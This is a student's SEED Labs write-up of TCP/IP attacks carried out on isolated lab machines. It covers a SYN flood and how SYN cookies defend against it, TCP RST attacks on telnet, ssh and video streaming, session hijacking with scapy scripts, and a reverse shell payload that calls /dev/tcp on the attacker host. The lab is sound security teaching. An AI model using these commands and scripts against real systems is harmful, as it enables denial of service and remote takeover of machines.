# TCP/IP Attack Lab
###### tags: `SUTD` `SEED Labs` `Network Security` `Lab`
*Done by: Lin Huiqing (1003810)*
Host-to-IP mappings used for this lab:
| Host | IP Address |
| -------- | ---------- |
| A | 10.0.2.5 |
| B | 10.0.2.6 |
| Attacker | 10.0.2.4 |
## Task 1: SYN Flooding Attack
The victim of this attack is A, which has the IP `10.0.2.5`.
When `sudo sysctl -q net.ipv4.tcp_max_syn_backlog` is run on the victim machine, the console outputs the following:
This means that the machine can have a maximum of **128** TCP open connections at once.
We can use a combination of `netstat`, `grep` and `wc` to get the number of tcp connections as follows:
``` bash
netstat -na | grep tcp | grep -v "*" | wc -l
```
The output of each command is piped to the next command. The different parts of the command are explained as follows:
* `netstat -na`: gets all network connections and their numeric addresses
* `grep tcp`: filters all lines that have "tcp" in them
* `grep -v "*"`: excludes lines with "*" in them
* `wc -l`: counts the number of lines in the file
Before the attack, there are **0** open tcp connections, as shown below:
***Please run your attacks with the SYN cookie mechanism on and off, and compare the results.***
To launch the SYN Flooding Attack, the following command was run on the Attacker machine (`10.0.2.4`):
``` bash
sudo netwox 76 -i 10.0.2.5 -p 23
```
Observations will vary based on whether the SYN Cookie Countermeasure is activated. We can check if the measure is activated with `sudo sysctl -a | grep cookie`, as seen below:
We can then activate or deactivate the SYN cookie countermeasure with the following commands:
``` bash
sudo sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
sudo sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
```
Below are the different observations when `net.ipv4.tcp_syncookies` = 0 or 1.
### When `net.ipv4.tcp_syncookies=0`
Some of the packets captured by Wireshark on the victim's machine when the attack is launched is as follows:
The number of open tcp connections on the victim's machine increases then plateaus at **97** during the attack.
This is less than the maximum queue length of 128. This possibly means that the flow table of the victim is filled before the queue is full. As the flow table experiences buffer overflow, the machine is unable to accept new connections, resulting in a denial of service.
When a third machine tries to open a tcp connection with the victim machine on port `23` through the command `telnet 10.0.2.5 23`, the console is stuck at the following stage:
This means that a new TCP handshake cannot be initiated. This is in line with what was explained above - as the flow table experiences buffer overflow, the machine is unable to accept new TCP handshakes.
### When `net.ipv4.tcp_syncookies=1`
Some of the packets captured by Wireshark on the victim's machine when the attack is launched is as follows:
The number of open tcp connections on the victim's machine increases then plateaus at **128** during the attack.
When a third machine tries to open a tcp connection with the victim machine on port `23` through the command `telnet 10.0.2.5 23`, the console is able to move to the following stage:
This means that the TCP handshake can be initiated.
***In your report, please describe why the SYN cookie can effectively protect the machine against the SYN flooding attack.***
The SYN flooding attack works when the SYN cookie mechanism is off, but does not work when the SYN cookie mechanism is on.
The SYN cookie mechanism allows state information to be stored in cookies as part of the SYN-ACK and ACK packets instead of being stored in the flow table of the victim. As the flow table is not filled, the flow table would not have a buffer overflow issue when a SYN flooding attack occurs. As such, the victim would be able to service more requests, until the queue (of length 128) is filled. This effectively protects the machine against the SYN flooding attack.
## Task 2: TCP RST Attacks on `telnet` and `ssh` connections
### `telnet`
A telnet connection is first established between A and B by running `telnet 10.0.2.6` on A.
The telnet connection between A and B is successfully established as seen below:
To launch a TCP RST Attack on hosts in the local network, the attacker runs the following command:
``` bash
sudo netwox 78
```
This sends TCP reset packets to machines on the same LAN, including victim A.
As a result, the telnet connection is broken when text is entered into the console on A, as shown:
### `ssh`
A ssh connection is first established between A and B by running `ssh 10.0.2.6` on A.
The ssh connection between A and B is successfully established as seen below:
Similarly, when a TCP reset attack is launched with `sudo netwox 78`, the ssh connection is broken as shown below:
## Task 3: TCP RST Attacks on Video Streaming Applications
For this task, the victim is A (`10.0.2.5`).
Before the attack, the chosen video plays normally, and TCP packets the video application's data is received normally.
The video plays normally as seen:
Application data from the video application is received and captured by Wireshark as well:
After the TCP RST attack is launched with `netwox 78`, TCP reset packets were captured by Wireshark on `10.0.2.5`:
The video is interrupted and is unable to continue buffering.
After a while, the TCP handshake is initiated again as shown in the packets captured on the victim below:
However, as the attack is still ongoing, this TCP connection is soon broken by the reset attack again as seen below:
The TCP reset attack then compromises the *availability* of services.
## Task 4: TCP Session Hijacking
A first starts a telnet session with B. This TCP connection is established as follows:
Using Wireshark, we can capture the packets sent between A and B. We then gather the information in the latest packet sent as seen below:
Extracting the port numbers, sequence and acknowledgement numbers from the packet, the Attacker can then hijack the session and inject a file with the following code:
``` python
from scapy.all import *
ip = IP(src="10.0.2.5", dst="10.0.2.6")
tcp = TCP(sport=35466, \
dport=23, \
flags="A", \
seq=923685705, \
ack=1362742300)
data = "echo 'hello its huiqing' > mal.txt\n"
pkt = ip/tcp/data
send(pkt)
```
After the script is run, the malicious file is successfully injected in B as seen below:
This demonstrates that an attacker would be able to run commands on victims' machines which can be harmful to the victim, such as to write malicious files or look at confidential information.
## Task 5: Creating Reverse Shell using TCP Session Hijacking
The attacker first opens a port 9090 to listen for connections with the following command: `nc -l 9090 -v`
As done in Task 4, we first extract the relevant information from the latest packet sent between A and B.
With the above information, we can then use the following code to launch a reverse shell attack on B.
``` python
#!/usr/bin/python3
from scapy.all import *
ip = IP(src="10.0.2.5", dst="10.0.2.6")
tcp = TCP(sport=35560, \
dport=23, \
flags="A", \
seq=3626426618, \
ack=697481464)
data = "/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1\n"
pkt = ip/tcp/data
send(pkt, verbose=0)
```
When the attack succeeds, the Attacker can enter any command in B's terminal. Here, the Attacker is able to create a file in B as follows:
The below shows the created file in B.
This demonstrates that an attacker would be able to interactively run commands on victims' machines which can be harmful.
Sign in with Wallet
Connect another wallet